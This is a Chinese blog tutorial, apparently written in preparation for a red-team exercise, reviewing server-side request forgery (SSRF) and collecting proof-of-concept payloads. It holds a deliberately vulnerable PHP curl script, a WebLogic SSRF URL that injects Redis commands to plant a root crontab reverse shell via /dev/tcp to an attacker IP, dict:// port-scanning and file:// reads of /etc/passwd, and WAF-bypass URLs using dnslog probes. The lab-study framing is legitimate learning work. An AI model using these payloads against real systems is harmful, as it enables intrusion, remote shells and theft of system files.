这不是马上准备就要护网了嘛,如火如荼的报名ing!!!那么小编就来查缺补漏一下以前的web漏洞,也顺便去收录一波poc!!!!
今天讲的主人公呢就是SSRF,以前学的时候,感觉有点没有学懂,趁现在二刷一遍
1.SSRF的原理
SSRF (Server-Side Request Forgery) 服务器端请求伪造,一种由攻击者构造请求,由服务端发起请求的安全漏洞!!
- curl_exec() 执行curl会话
- fsockopen() 打开一个网络连接或者一个Unix的套接字
- file_get_contents() 将文件读入一个字符串
说起来可能会有一点干,没事,我们上一段代码来演示一下
<?php
function curl($url){ $ch = curl_init();// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); // 启用时会将头文件的信息作为数据流输出 // 抓取URL并把它传递给浏览器 curl_exec($ch);//关闭cURL资源,并且释放系统资源 curl_close($ch);
}$url = $_GET['url'];
curl($url);
?>
http://127.0.0.1/ssrf.php?url=file:///C:/Windows/win.ini
2.SSRF的危害
ssrf吧,也算是个中危,有的时候,它还可以直接getshell!!!!!
对于最后一个,Redis还没学,不过也是老出名了!!
3.SSRF常见的出现场景
- 分享网页的功能
- 转码服务
- 网站翻译
- 图片远程加载
4.SSRF常见的利用以及poc
1.Weblogic反弹shell
这里,我就直接用的Vulhub上面的weblogic的SSRF来演示了(搭环境我就不说了,参考我以前的文章)
直接访问这个路径
http://你的ip:7001/uddiexplorer/SearchPublicRegistries.jsp
然后就能看见这样的一个页面
先公布它漏洞的poc
http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
抓个包,可以看见,问题就出现在它的operator这里,直接应用外部的URL
所以就导致了SSRF
可以看见不同的端口返回的值是不一样的
POC如下
http://192.168.246.170:7001//uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.25.0.2:6379/test%0D%0A%0D%0Aset%201%20%22\n\n\n\n*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.246.1%2F9191%200%3E%261\n\n\n\n%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aqwezxc
因为我没开redis的原因,但是你只要敲上这个代码,它就是能反弹shell的!!!
除此之外,ssrf还是可以getshell的!!!
2.探测端口存活
比如说我们发现一个ssrf的站点,我们就可以通过它去探测端口存活
url=dict://127.0.0.1:§80§ /后面的端口就直接在BP选范围为 1-65535就好
不过吐槽一下啊 ,这个确实有点慢,还不如直接上nmap。。。。。
但是,这个玩意不止能探测本地的端口,还可以远程探测
3.读取本机的敏感资产或者文件
poc
file:etc/passwd
file:///C:/Windows/win.ini
5.SSRF绕过WAF
以下直接分享一些绕WAF的POC,有的时候可以用dnslog来作探针
1.利用@的符号
http://www.baidu.com@0c63a4a6.dnslog.biz //这里面是你的dnslog探针
dict://127.0.0.1:80@0c63a4a6.dnslog.biz.
2. 将 . 换成 。以及相应的符号
dict://127。0。0 。1:80
http://127。0。0 。1:80
3.一些协议的绕过
sftp://0c63a4a6.dnslog.biz
tftp://0c63a4a6.dnslog.biz
ldap://0c63a4a6.dnslog.biz //自行对相应的dnslog探针进行替换
4.还有就是一些工具了
grayddq/SSRF_payload: 本脚本旨在生成各类畸形URL链接,进行探测使用的payload,尝试绕过服务端ssrf限制。 (github.com)https://github.com/grayddq/SSRF_payload